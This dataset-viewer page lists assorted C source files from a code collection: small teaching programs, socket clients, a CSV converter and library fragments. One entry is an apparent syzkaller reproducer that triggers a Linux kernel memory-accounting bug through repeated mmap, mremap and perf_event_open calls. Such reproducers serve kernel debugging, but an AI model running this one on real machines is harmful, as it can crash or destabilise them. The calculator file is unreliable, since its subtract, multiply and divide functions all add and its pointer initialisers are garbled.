ASM Long
Collection
Neural Long Context Assembly Transpilation
•
19 items
•
Updated
file
stringlengths 18
26
| data
stringlengths 2
1.05M
|
|---|---|
the_stack_data/51700322.c | // 'and' etc. not keywords in C
// originally found in package
// In state 86, I expected one of these tokens:
// <name>, auto, bool, char, const, double, extern, float, friend, inline, int, long, mutable, operator, register, short, signed, static, template, typedef, unsigned, virtual, void, volatile, wchar_t, (, ), [, ::, ~, &, *, >, ,, ;, __attribute__, restrict,
// a.i:4:9: Parse error (state 86) at !
// ERR-MATCH:
int main() {
int not;
int and;
return 0;
}
|
the_stack_data/107952994.c | #include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h> //socket(), setsockopt(), bind(), listen(), accept(), send()
#include <netinet/in.h> //sockaddr_in,
#include <string.h>
#include <unistd.h> //close()
#include <signal.h> //signal()
#include <arpa/inet.h>
// struct sockaddr_in {
// short sin_family;
// unsigned short sin_port;
// struct in_addr sin_addr;
// char sin_zero[8];
// };
//Contiene la dirección IP del host
// struct in_addr {
// unsigned long s_addr;
// };
void signal_callback_handler(int);
// Define el codigo de los errores
#define ERROR -1
// Define la longitud máxima para la cola de conexiones pendientes.
#define BACKLOG 32
// Puerto en el que se va a hacer la comunicación
#define PORT 8080
// Estructura que define el cliente y el servidor
// http://es.tldp.org/Tutoriales/PROG-SOCKETS/prog-sockets.html
struct sockaddr_in server;
struct sockaddr_in client;
// Trama es un paquete de datos que se envia a traves de la red
// En este caso estas variables indican la longitud en bytes de la trama enviada
socklen_t tramaServer;
int err, // Guarda el Codigo del error
fdSocket; // File Descriptor del Socket
int main() {
// int socket(int domain, int type, int protocol);
// AF_INET:
// IPv4 Protocolo de Internet
// SOCK_STREAM:
// proporciona flujos de bytes secuenciales, confiables, bidireccionales y basados en conexión.
// Y el mecanismo de transmisión de datos fuera de banda puede ser compatible.
fdSocket = socket(AF_INET, SOCK_STREAM, 0);
if(fdSocket == ERROR) {
perror("ERROR CLIENT: socket(...)\n");
exit(ERROR);
}
int option = 1;
// int setsockopt(int sockfd, int level, int optname, const void *optval, socklen_t optlen);
// sockfd:
// Identificador del socket
setsockopt(fdSocket, SOL_SOCKET, SO_REUSEADDR, &option, sizeof(option));
// Protocolo para la conexión
server.sin_family = AF_INET;
// Puerto para la conexión
server.sin_port = htons(PORT);
// Estructura a la dirección IP
server.sin_addr.s_addr = inet_addr("127.0.0.1");
// Relleno
bzero(server.sin_zero, 8);
//int connect(int socket, struct sockaddr *address, int address_len);
// socket:
// identificador fd del socket que va a enlazar
// socekt:
// El puntero a una estructura de dirección de socket que contiene
// la dirección del socket al que se intentará una conexión.
// address_len:
// El tamaño de la dirección de socket señalada por la dirección en bytes.
tramaServer = sizeof(struct sockaddr);
err = connect(fdSocket, (struct sockaddr *)&server, tramaServer);
if(err == ERROR) {
perror("ERROR CLIENT: connect(...)\n");
exit(ERROR);
}
//void (*signal(int sig, void (*func)(int)))(int);
//sig:
//Codigo SIG
//func:
//Funcion que se ejecuta
signal(SIGINT, signal_callback_handler);
//ssize_t recv(int sockfd, void *buf, size_t len, int flags);
// sockfd:
// identificador fd del socket que va a enlazar
// buffer:
// Apunta al buffer que contiene el mensaje a recibir.
// length:
// Especifica la longitud del mensaje (buffer) en bytes.
// flags:
// El parámetro flags se establece especificando uno o más de los siguientes flags.
// Si se especifica más de una bandera, se debe usar el operador lógico OR (|) para separarlos.
// El indicador MSG_CONNTERM se excluye mutuamente con otros indicadores.
// MSG_CONNTERM, MSG_OOB, MSG_PEEK, MSG_WAITALL
char * receiver = (char *) malloc(sizeof(char) * 120);
err = recv(fdSocket, receiver, sizeof(char) * 120, 0);
printf("Message : %s\n", receiver);
char * message = (char *) malloc(sizeof(char) * 120);
strcpy(message, "Luis Miguel");
send(fdSocket, message, sizeof(char) * 120, 0);
// Liberar la memoria dinamica
free(receiver);
free(message);
// close:
//apaga un socket y libera los recursos asignados a ese socket.
close(fdSocket);
return 0;
}
void signal_callback_handler(int signum) {
// Esta funcion se ejecuta si hay un Ctrl C
printf("Callback client : %d", signum);
close(fdSocket);
// SIGNAL
// Ctrl C == SIGINT
// Ctrl \ == SIGQUIT
// Ctrl Z == SIGTSTP
}
|
the_stack_data/162643796.c | /* The MIT License
Copyright (C) 2015 zz_zigzag <[email protected]>
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#define PACKAGE_VERSION "0.1.1"
static int usage()
{
fprintf(stderr, "\n");
fprintf(stderr, "Program: VCF_INDEL (format the <INDEL> vcf file)\n");
fprintf(stderr, "Version: %s\n", PACKAGE_VERSION);
fprintf(stderr, "Contact: zz_zigzag <[email protected]>\n\n");
fprintf(stderr, "Usage: VCF_INDEL <in.vcf> <out.vcf>\n\n");
return 1;
}
int main(int argc, char* argv[])
{
if(argc != 3)
return usage();
struct stat fileStat;
if(stat(argv[1], &fileStat) < 0)
{
fprintf(stderr, "[VCF_INDEL] Open %s failed.\n", argv[1]);
return -1;
}
long fileSize = fileStat.st_size;
FILE *fpin = fopen(argv[1], "r");
if(fpin == NULL)
{
fprintf(stderr, "[VCF_INDEL] Open %s failed.\n", argv[1]);
return -1;
}
FILE *fpout = fopen(argv[2], "w");
if(fpout == NULL)
{
fprintf(stderr, "[VCF_INDEL] Open %s failed.\n", argv[2]);
return -1;
}
char *buf = (char *)malloc(fileSize);
if(fread(buf, fileSize, 1, fpin) != 1)
{
fprintf(stderr, "[VCF_INDEL] read %s failed.\n", argv[2]);
return -1;
}
char *p = buf;
char *t, *str, *str_line, *str_tab;
t = str = str_line = str_tab = NULL;
int brk1, len, len1, len2;
brk1 = len = 0;
char *chr, *ref;
chr = ref = NULL;
while((t = strtok_r(p, "\n", &str_line)) != NULL)
{
p = NULL;
if(t[0] == '#')
{
//fprintf(fpout,"TYPE \"#\"\n");
continue;
}
t = strtok_r(t, "\t", &str_tab);
chr = t;
t = strtok_r(NULL, "\t", &str_tab);
if(atoi(t) > brk1 && brk1+len >= atoi(t))
{
continue;
}
brk1 = atoi(t);
t = strtok_r(NULL, "\t", &str_tab);
ref = strtok_r(NULL, "\t", &str_tab);
len1 = strlen(ref);
t = strtok_r(NULL, "\t", &str_tab);
strtok_r(t, ",", &str);
len2 = strlen(t);
if(len2 != 1 && len1 != 1)
continue;
if(ref[0] != t[0])
continue;
if(abs(len1 - len2) > 50)
continue;
len = len1>len2?len1:len2;
fprintf(fpout, "%s\t%d\t%s\t%s\n", chr, brk1, ref, t);
}
fclose(fpin);
fclose(fpout);
return 0;
}
|
the_stack_data/232955078.c | #include <assert.h>
#include <stdbool.h>
#include <stddef.h>
#include <stdio.h>
int main(const int argc, const char* const argv[])
{
// Getting away with no error checking throughout because CodeEval makes some
// strong guarantees about our runtime environment. No need to pay when we're
// being benchmarked. Don't forget to define NDEBUG prior to submitting!
assert(argc >= 2 && "Expecting at least one command-line argument.");
static char stdoutBuffer[128] = "";
// Turn on full output buffering for stdout.
setvbuf(stdout, stdoutBuffer, _IOFBF, sizeof stdoutBuffer);
FILE* inputStream = fopen(argv[1], "r");
assert(inputStream && "Failed to open input stream.");
// Pre-computed by the C++ version of this solution via -DGENERATE_LUT.
static const unsigned terms[] =
{
1, 2, 2, 4, 96, 1024, 2880, 81024, 770144
};
static const size_t termCount = (sizeof terms / sizeof *terms);
for(size_t n = 0; fscanf(inputStream, "%zu", &n) == 1;)
{
assert(n <= (termCount * 2));
const bool isOdd = (!n || (n & 1));
const unsigned term = isOdd ? 0 : terms[(n / 2) - 1];
printf("%u\n", term);
}
// The CRT takes care of cleanup.
}
|
the_stack_data/90762288.c | #include <stdio.h>
int main()
{
printf("Hello, World");
return (0);
} |
the_stack_data/90763100.c | enum tag {
X=1,
Y=2,
};
static void main(void)
{
enum tag foo;
foo = Y;
}
|
the_stack_data/103358.c | //Copyright (C) 2015 Corwin Hansen
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[]){
if (argc == 4){//correct number of arguments
FILE *source = fopen(argv[1], "rb");//open first argument to read as source
FILE *dest = fopen(argv[2], "wb");//open second argument to write as destination
FILE *key = fopen(argv[3], "rb");//open thard argument to read as key
unsigned char buffk[1], buffs[2];//bufffers for key and source
if (source == NULL || key == NULL){//if file could not be opend
printf("Could not open one of the files\n Usage: %s <source> <destinatio> <key>", argv[0]);//print error and usage
return 0;//exit
}
while (fread(buffk, 1, 1, key) != 0){//if not end of file of key
fread(buffs, 1, 1, source);//read source
buffs[0] ^= buffk[0];//get xor of both value
fwrite(buffs, 1, 1, dest);//write to source
}
return 0;//exit
}
printf("Usage: %s <source> <destinatio> <key>", argv[0]);//print usage
return 0;//exit
}
|
the_stack_data/45865.c | /* Name: p4-04.c
Purpose: Calculates entered number in decimal to octal.
Author: NiceMan1337
Date: 16.03.2022 */
#include <stdio.h>
int main(void)
{
/*declare variable*/
int number, n1, n2, n3, n4, n5;
/*ask user for input*/
printf("Enter a number between 0 and 32767: ");
scanf("%5d", &number);
/*calculate number in octal*/
n1 = number % 8;
n2 = (number / 8) % 8;
n3 = (number / 64) % 8;
n4 = (number / 512) % 8;
n5 = (number / 4096) % 8;
/*print out the result*/
printf("In octal, your number is: %d%d%d%d%d\n", n5, n4, n3, n2, n1);
return 0;
}
/*Description:
You could just calculate everything in printf without using
all n values*/ |
the_stack_data/231394148.c | /* csv2txt
*
* Transforms CSV input into lines with fields delimited by
* a single field separator (TAB by default).
*
* Usage: csv2txt < input.csv > output.txt {FS}
*/
#include <stdlib.h>
#include <stdio.h>
#define select switch
#define when break; case
#define also case
#define otherwise break; default
enum { START=1, QUOTED=2, PLAIN=3, CLOSING=4 };
static void die(const char *msg, int state, int nr, int nf, int nl, int nc)
{
const char* fmt="\ncsv2txt: %s (state: %d; record: %d; field: %d; line: %d; character: %d)\n";
fflush(stdout);
fprintf(stderr, fmt, msg, state, nr, nf, nl, nc);
exit(EXIT_FAILURE);
}
static char buffer1[BUFSIZ], buffer2[BUFSIZ];
int main(int argc, char *argv[])
{
const char RS='\n'; /* output record separator */
char FS='\t'; /* output field separator */
int nr=1, nf=1, nl=1, nc=0; /* number of records, fields, lines, chars */
register int c, state;
if (argc > 1) { /* user defined field separator */
FS=argv[1][0];
}
setbuf(stdin, buffer1);
setbuf(stdout, buffer2);
# define get(c) (((c)=getc(stdin)) != EOF)
# define put(c) putc((c), stdout)
# define error(msg) die(msg,state,nr,nf,nl,nc)
# define next_field do { put(FS); ++nf; state=START; } while (0)
# define next_record do { put(RS); nf=1; ++nr; state=START; } while (0)
state=START;
while (get(c)) {
++nc;
if (c == '\r') {
continue; /* ignore CR */
}
if (c == FS) {
error("output field separator found in input data");
}
select (state) {
when START: select(c) {
when ',': put('0'); next_field; /* empty fields assumed = zero */
when '\n': ++nl; put('0'); next_record;
when '"': state=QUOTED;
otherwise: state=PLAIN; put(c);
}
when PLAIN: select(c) {
when ',': next_field;
when '\n': ++nl; next_record;
otherwise: put(c);
}
when QUOTED: select(c) {
when '\n': ++nl; put(c);
when '"': state=CLOSING;
otherwise: put(c);
}
when CLOSING: select(c) {
when ',': next_field;
when '\n': ++nl; next_record;
when '"': state=QUOTED; put(c); /* "" */
otherwise: error("unexpected double quote");
}
otherwise: error("internal error (unexpected state)");
}
}
select (state) {
when START: /*nop*/
when PLAIN: put(RS);
when CLOSING: put(RS);
when QUOTED: error("unexpected end of quoted field");
}
return EXIT_SUCCESS;
}
/*
* vim:ts=4:sw=4:ai:et
*/
|
the_stack_data/1052432.c | #include<stdio.h>
int main()
{
if(printf("RAKESH YADAV"))
{
}
}
|
the_stack_data/819392.c | /*
* Objectives
* ----------
* 1) Convert user input from inches to centimetres
*
* Design
* ------
* 1) Take input from user (number of inches)
* 2) Process the input using the formula 1 inch = 2.54 cm
* Provide the centimetre output to the user
*/
|
the_stack_data/198581676.c | #include <unistd.h>
#include <fcntl.h>
#include "syscall.h"
int rmdir(const char *path)
{
#ifdef SYS_rmdir
return syscall(SYS_rmdir, path);
#else
return syscall(SYS_unlinkat, AT_FDCWD, path, AT_REMOVEDIR);
#endif
}
|
the_stack_data/22231.c | /*Daala video codec
Copyright (c) 2012 Daala project contributors. All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
- Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
- Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS”
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.*/
#ifdef HAVE_CONFIG_H
#include "config.h"
#endif
#include <math.h>
#include <stdlib.h>
#include <stdio.h>
#define MAXN 32768
int main(int argc, char **argv)
{
int i;
int N;
int shift;
int j;
float p[16];
int pi[16];
int sum;
int aN[MAXN];
if (argc!=3) fprintf(stderr, "bad bad bad\n");
N=atoi(argv[1]);
shift=atoi(argv[2]);
printf("/* This file is auto-generated using \"gen_cdf %d %d\" */\n\n",
N, shift);
printf("#include \"pvq_code.h\"\n\n");
printf("const ogg_uint16_t cdf_table[%d][16] = {\n", N+1);
printf(" {");
for(j=0;j<16;j++){
printf("%5d%s",32768U-15+j,j+1<16?",":"");
}
printf("},\n");
aN[0]=1;
for (i=1;i<=N;i++){
float Ex;
float gamma;
float a;
int cdf;
float maxp;
int maxj;
Ex=(float)i/(1<<shift);
gamma = (sqrt(1+4*Ex*Ex)-1)/(2*Ex);
a=-.5/log(gamma);
aN[i] = floor(.5+256*exp(-1./a));
/*printf("%f %f ", Ex, a);*/
p[0]=1-exp(-.5/a);
for(j=1;j<15;j++)
p[j]=exp(-.5/a)*(exp(-((float)j-1.)/a)-exp(-(float)j/a));
p[15]=exp(-.5/a)*exp(-14./a);
sum=0;
maxp=0;
maxj=0;
for(j=0;j<16;j++)
{
if (p[j]>maxp)
{
maxp=p[j];
maxj=j;
}
pi[j] = floor(.5+32768*p[j]);
if (pi[j]==0)
pi[j]=1;
sum += pi[j];
}
pi[maxj] += 32768-sum;
cdf = 0;
printf(" {");
for(j=0;j<16;j++)
{
cdf += pi[j];
printf("%5d%s", cdf, j+1<16?",":"");
}
printf("}%s\n",i+1<=N?",":"");
/*printf("\n");*/
}
printf("};\n");
printf("\n\n");
printf("const unsigned char decayE[%d] = {\n", N+1);
for(i=0;i<=N;i++)
printf(" %d%s\n", aN[i], i+1<=N?",":"");
printf("};\n");
return 0;
}
|
the_stack_data/182953785.c | /*
Given a sorted array of non-repeated integers A[1...n], n > 1 then check whether there is
an index i for which A[i] = i. Give an algorithm that runs in O(logn) time
*/
#include <stdio.h>
int BS(int a[], int l, int h){
if(h >= l){
int mid = (l + h)/2;
if(a[mid] == mid){
return mid;
}
if(a[mid] < mid){
return BS(a, mid + 1, h);
}
if(a[mid] > mid){
return BS(a, l, mid - 1);
}
}
return -1;
}
int main(){
int a[10] = {-2, -1, 0, 1, 2, 4, 5, 7, 11, 13};
int n = sizeof(a)/sizeof(a[0]);
int result = BS(a, 0, n-1);
if(result != -1){
printf("A[i] = i at Point: %d", result);
}
else{
printf("There is not element satisfying A[i] = i");
}
return 0;
}
|
the_stack_data/134544.c | #ifdef _WIN32 /* too long bitfield */
int main (void) { return 68; }
#else
int printf (const char *, ...);
struct A {
long a : 40;
} a1 = {187134098732};
static int test_a (void) {
long l = a1.a;
return printf ("%ld\n", l);
}
struct B {
struct A a;
short b : 4;
} b1 = {3, -2};
static int test_b (void) {
int foo = b1.b;
return printf ("%ld, %d\n", (long) b1.a.a, foo);
}
struct C {
short a : 3;
char b : 5;
char c : 3;
} c1 = {3};
static int test_c (void) { return printf ("{%d, %d, %d}\n", c1.a, c1.b, c1.c); }
struct D {
unsigned long a : 32;
unsigned long : 4;
unsigned long b : 20;
} d1 = {-1, -1}, d2 = {0, 1241}, d3 = {0};
static int test_d (struct D d) { return printf ("{%u, %u}\n", d.a, d.b); }
int main (void) {
printf ("sizeof(struct A) = %lu\n", sizeof (struct A));
printf ("sizeof(struct B) = %lu\n", sizeof (struct B));
printf ("sizeof(struct C) = %lu\n", sizeof (struct C));
return test_a () + test_b () + test_c () + test_d (d1) + test_d (d2) + test_d (d3);
};
#endif
|
the_stack_data/113202.c | /* ************************************************************************** */
/* LE - / */
/* / */
/* test2.c .:: .:/ . .:: */
/* +:+:+ +: +: +:+:+ */
/* By: clcreuso <[email protected]> +:+ +: +: +:+ */
/* #+# #+ #+ #+# */
/* Created: 2019/08/08 16:24:38 by clcreuso #+# ## ## #+# */
/* Updated: 2019/08/08 16:25:05 by clcreuso ### #+. /#+ ###.fr */
/* / */
/* / */
/* ************************************************************************** */
#include <stdlib.h>
int main(void)
{
char *addr;
int i;
i = 0;
while (i < 1024)
{
addr = (char*)malloc(1024);
addr[0] = 42;
free(addr);
i++;
}
return (0);
}
|
the_stack_data/200142593.c | #include <stdio.h>
main(){
printf("выкуси гаденыш ъаъаъ");
}
|
the_stack_data/176707012.c | /**********************************************************************
# Love, Copyright (c) 2009 Bob Aman
#
# Permission is hereby granted, free of charge, to any person obtaining
# a copy of this software and associated documentation files (the
# "Software"), to deal in the Software without restriction, including
# without limitation the rights to use, copy, modify, merge, publish,
# distribute, sublicense, and/or sell copies of the Software, and to
# permit persons to whom the Software is furnished to do so, subject to
# the following conditions:
#
# The above copyright notice and this permission notice shall be
# included in all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
# LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
# OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
# WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
**********************************************************************/
#include <stdlib.h>
#include <stdio.h>
#include "error.h"
static void
usage(const char *name)
{
/* This message really ought to be max 23 lines.
* Removed -h because the user already knows that option. Others? */
static const char *const usage_msg[] = {
"-c check syntax only",
"-d set debugging flags (set DEBUG to true)",
"-e 'command' executes a single line command",
"-w turn warnings on for your script",
"-W[level] set warning level (0=silence, 1=medium, 2=verbose)",
"--copyright print the copyright",
"--version print the version",
NULL
};
const char *const *p = usage_msg;
printf("Usage: %s [switches] [--] [programfile] [arguments]\n", name);
while (*p) {
printf(" %s\n", *p++);
}
}
|
the_stack_data/18888323.c | #if defined _WIN32
#include<windows.h>
#else
#include<pthread.h>
#endif
void *f(void) {
#if defined _WIN32
return CreateThread;
#else
return pthread_create;
#endif
}
|
the_stack_data/136817.c | // BUG: Bad rss-counter state
// https://syzkaller.appspot.com/bug?id=11fad2b9698fd0f05ce9
// status:0
// autogenerated by syzkaller (https://github.com/google/syzkaller)
#define _GNU_SOURCE
#include <dirent.h>
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/prctl.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>
static void sleep_ms(uint64_t ms)
{
usleep(ms * 1000);
}
static uint64_t current_time_ms(void)
{
struct timespec ts;
if (clock_gettime(CLOCK_MONOTONIC, &ts))
exit(1);
return (uint64_t)ts.tv_sec * 1000 + (uint64_t)ts.tv_nsec / 1000000;
}
#define BITMASK(bf_off, bf_len) (((1ull << (bf_len)) - 1) << (bf_off))
#define STORE_BY_BITMASK(type, htobe, addr, val, bf_off, bf_len) \
*(type*)(addr) = \
htobe((htobe(*(type*)(addr)) & ~BITMASK((bf_off), (bf_len))) | \
(((type)(val) << (bf_off)) & BITMASK((bf_off), (bf_len))))
static bool write_file(const char* file, const char* what, ...)
{
char buf[1024];
va_list args;
va_start(args, what);
vsnprintf(buf, sizeof(buf), what, args);
va_end(args);
buf[sizeof(buf) - 1] = 0;
int len = strlen(buf);
int fd = open(file, O_WRONLY | O_CLOEXEC);
if (fd == -1)
return false;
if (write(fd, buf, len) != len) {
int err = errno;
close(fd);
errno = err;
return false;
}
close(fd);
return true;
}
static void kill_and_wait(int pid, int* status)
{
kill(-pid, SIGKILL);
kill(pid, SIGKILL);
int i;
for (i = 0; i < 100; i++) {
if (waitpid(-1, status, WNOHANG | __WALL) == pid)
return;
usleep(1000);
}
DIR* dir = opendir("/sys/fs/fuse/connections");
if (dir) {
for (;;) {
struct dirent* ent = readdir(dir);
if (!ent)
break;
if (strcmp(ent->d_name, ".") == 0 || strcmp(ent->d_name, "..") == 0)
continue;
char abort[300];
snprintf(abort, sizeof(abort), "/sys/fs/fuse/connections/%s/abort",
ent->d_name);
int fd = open(abort, O_WRONLY);
if (fd == -1) {
continue;
}
if (write(fd, abort, 1) < 0) {
}
close(fd);
}
closedir(dir);
} else {
}
while (waitpid(-1, status, __WALL) != pid) {
}
}
static void setup_test()
{
prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0);
setpgrp();
write_file("/proc/self/oom_score_adj", "1000");
}
static void execute_one(void);
#define WAIT_FLAGS __WALL
static void loop(void)
{
int iter;
for (iter = 0;; iter++) {
int pid = fork();
if (pid < 0)
exit(1);
if (pid == 0) {
setup_test();
execute_one();
exit(0);
}
int status = 0;
uint64_t start = current_time_ms();
for (;;) {
if (waitpid(-1, &status, WNOHANG | WAIT_FLAGS) == pid)
break;
sleep_ms(1);
if (current_time_ms() - start < 5 * 1000)
continue;
kill_and_wait(pid, &status);
break;
}
}
}
uint64_t r[2] = {0xffffffffffffffff, 0xffffffffffffffff};
void execute_one(void)
{
intptr_t res = 0;
memcpy((void*)0x2000fffa, "./bus\000", 6);
res = syscall(__NR_open, 0x2000fffaul, 0x141042ul, 0ul);
if (res != -1)
r[0] = res;
memcpy((void*)0x20000000, "./bus\000", 6);
res = syscall(__NR_open, 0x20000000ul, 0x141042ul, 0ul);
if (res != -1)
r[1] = res;
syscall(__NR_write, r[1], 0x20000580ul, 0x17ul);
*(uint32_t*)0x20000180 = 6;
*(uint32_t*)0x20000184 = 0x70;
*(uint8_t*)0x20000188 = 0;
*(uint8_t*)0x20000189 = 0;
*(uint8_t*)0x2000018a = 0;
*(uint8_t*)0x2000018b = 0;
*(uint32_t*)0x2000018c = 0;
*(uint64_t*)0x20000190 = 0;
*(uint64_t*)0x20000198 = 0;
*(uint64_t*)0x200001a0 = 0;
STORE_BY_BITMASK(uint64_t, , 0x200001a8, 0, 0, 1);
STORE_BY_BITMASK(uint64_t, , 0x200001a8, 0, 1, 1);
STORE_BY_BITMASK(uint64_t, , 0x200001a8, 0, 2, 1);
STORE_BY_BITMASK(uint64_t, , 0x200001a8, 0, 3, 1);
STORE_BY_BITMASK(uint64_t, , 0x200001a8, 0, 4, 1);
STORE_BY_BITMASK(uint64_t, , 0x200001a8, 0, 5, 1);
STORE_BY_BITMASK(uint64_t, , 0x200001a8, 0, 6, 1);
STORE_BY_BITMASK(uint64_t, , 0x200001a8, 0, 7, 1);
STORE_BY_BITMASK(uint64_t, , 0x200001a8, 0, 8, 1);
STORE_BY_BITMASK(uint64_t, , 0x200001a8, 0, 9, 1);
STORE_BY_BITMASK(uint64_t, , 0x200001a8, 0, 10, 1);
STORE_BY_BITMASK(uint64_t, , 0x200001a8, 0, 11, 1);
STORE_BY_BITMASK(uint64_t, , 0x200001a8, 0, 12, 1);
STORE_BY_BITMASK(uint64_t, , 0x200001a8, 0, 13, 1);
STORE_BY_BITMASK(uint64_t, , 0x200001a8, 0, 14, 1);
STORE_BY_BITMASK(uint64_t, , 0x200001a8, 0, 15, 2);
STORE_BY_BITMASK(uint64_t, , 0x200001a8, 0, 17, 1);
STORE_BY_BITMASK(uint64_t, , 0x200001a8, 0, 18, 1);
STORE_BY_BITMASK(uint64_t, , 0x200001a8, 0, 19, 1);
STORE_BY_BITMASK(uint64_t, , 0x200001a8, 0, 20, 1);
STORE_BY_BITMASK(uint64_t, , 0x200001a8, 0, 21, 1);
STORE_BY_BITMASK(uint64_t, , 0x200001a8, 0, 22, 1);
STORE_BY_BITMASK(uint64_t, , 0x200001a8, 0, 23, 1);
STORE_BY_BITMASK(uint64_t, , 0x200001a8, 0, 24, 1);
STORE_BY_BITMASK(uint64_t, , 0x200001a8, 0, 25, 1);
STORE_BY_BITMASK(uint64_t, , 0x200001a8, 0, 26, 1);
STORE_BY_BITMASK(uint64_t, , 0x200001a8, 0, 27, 1);
STORE_BY_BITMASK(uint64_t, , 0x200001a8, 0, 28, 1);
STORE_BY_BITMASK(uint64_t, , 0x200001a8, 0, 29, 35);
*(uint32_t*)0x200001b0 = 0;
*(uint32_t*)0x200001b4 = 0;
*(uint64_t*)0x200001b8 = 0x20000000;
*(uint64_t*)0x200001c0 = 0;
*(uint64_t*)0x200001c8 = 0;
*(uint64_t*)0x200001d0 = 0;
*(uint32_t*)0x200001d8 = 0;
*(uint32_t*)0x200001dc = 0;
*(uint64_t*)0x200001e0 = 0;
*(uint32_t*)0x200001e8 = 0;
*(uint16_t*)0x200001ec = 0;
*(uint16_t*)0x200001ee = 0;
syscall(__NR_perf_event_open, 0x20000180ul, 0, 0ul, -1, 0ul);
syscall(__NR_mmap, 0x2000a000ul, 0x4000ul, 0ul, 0x12ul, r[0], 0ul);
syscall(__NR_mremap, 0x2000a000ul, 0x1000ul, 0x2000ul, 3ul, 0x20005000ul);
syscall(__NR_mremap, 0x20005000ul, 0x1000ul, 0x1000ul, 3ul, 0x2000a000ul);
}
int main(void)
{
syscall(__NR_mmap, 0x1ffff000ul, 0x1000ul, 0ul, 0x32ul, -1, 0ul);
syscall(__NR_mmap, 0x20000000ul, 0x1000000ul, 7ul, 0x32ul, -1, 0ul);
syscall(__NR_mmap, 0x21000000ul, 0x1000ul, 0ul, 0x32ul, -1, 0ul);
loop();
return 0;
}
|
the_stack_data/170454389.c | #include<stdio.h>
main()
{
int l,b,area;
printf("Enter the length and breadth of the rectangle\n");
scanf("%d%d",&l,&b);
area=l*b;
printf("Area of the rectangle is %d",area);
}
|
the_stack_data/943174.c | #include <stdio.h>
void add(double a,double b){
printf("%.1lf + %.1lf = %.1lf", a, b, a + b);
}
void sub(double a,double b){
printf("%.1lf + %.1lf = %.1lf", a, b, a + b);
}
void mul(double a,double b){
printf("%.1lf + %.1lf = %.1lf", a, b, a + b);
}
void div(double a,double b){
printf("%.1lf + %.1lf = %.1lf", a, b, a + b);
}
int main() {
char ch;
double a, b;
void (*add_ptr)(double,double)=&add;
void (*sub_ptr)(double,double)=⊂
void (*mul_ptr)(double,double)=&mul;
void (*div_ptr)(double,double)=÷
printf("Enter operator (+, -, *, /): ");
scanf("%c", &ch);
printf("Enter a and b: ");
scanf("%lf %lf", &a, &b);
switch (ch) {
case '+':
(*add_ptr)(a,b);
break;
case '-':
(*sub_ptr)(a,b);
break;
case '*':
(*mul_ptr)(a,b);
break;
case '/':
(*div_ptr)(a,b);
break;
default:
printf("Operator is not correct");
}
return 0;
}
|
the_stack_data/20449250.c | /* -*- Mode: C; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
/* Duda I/O
* --------
* Copyright (C) 2012-2014, Eduardo Silva P. <[email protected]>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include <ctype.h>
#include <limits.h>
int duda_utils_strtol(const char *nptr, int len, long *result)
{
/*
* Part of the following code was taken from the following links:
*
* - http://opensource.apple.com/source/xnu/xnu-1456.1.26/bsd/libkern/strtol.c
* - http://www.koders.com/c/fid0A9B008CA98BE77AEC5E59AFC19BECAE325AC60F.aspx
* - http://www.ethernut.de/api/strtol_8c_source.html
*
* It has been modified in order to accept the string length and store the result
* in the 'result' parameter.
*/
/*
* Compute the cutoff value between legal numbers and illegal
* numbers. That is the largest legal value, divided by the
* base. An input number that is greater than this value, if
* followed by a legal input character, is too big. One that
* is equal to this value may be valid or not; the limit
* between valid and invalid numbers is then based on the last
* digit. For instance, if the range for longs is
* [-2147483648..2147483647] and the input base is 10,
* cutoff will be set to 214748364 and cutlim to either
* 7 (neg==0) or 8 (neg==1), meaning that if we have accumulated
* a value > 214748364, or equal but the next digit is > 7 (or 8),
* the number is too big, and we will return a range error.
*
* Set any if any `digits' consumed; make it negative to indicate
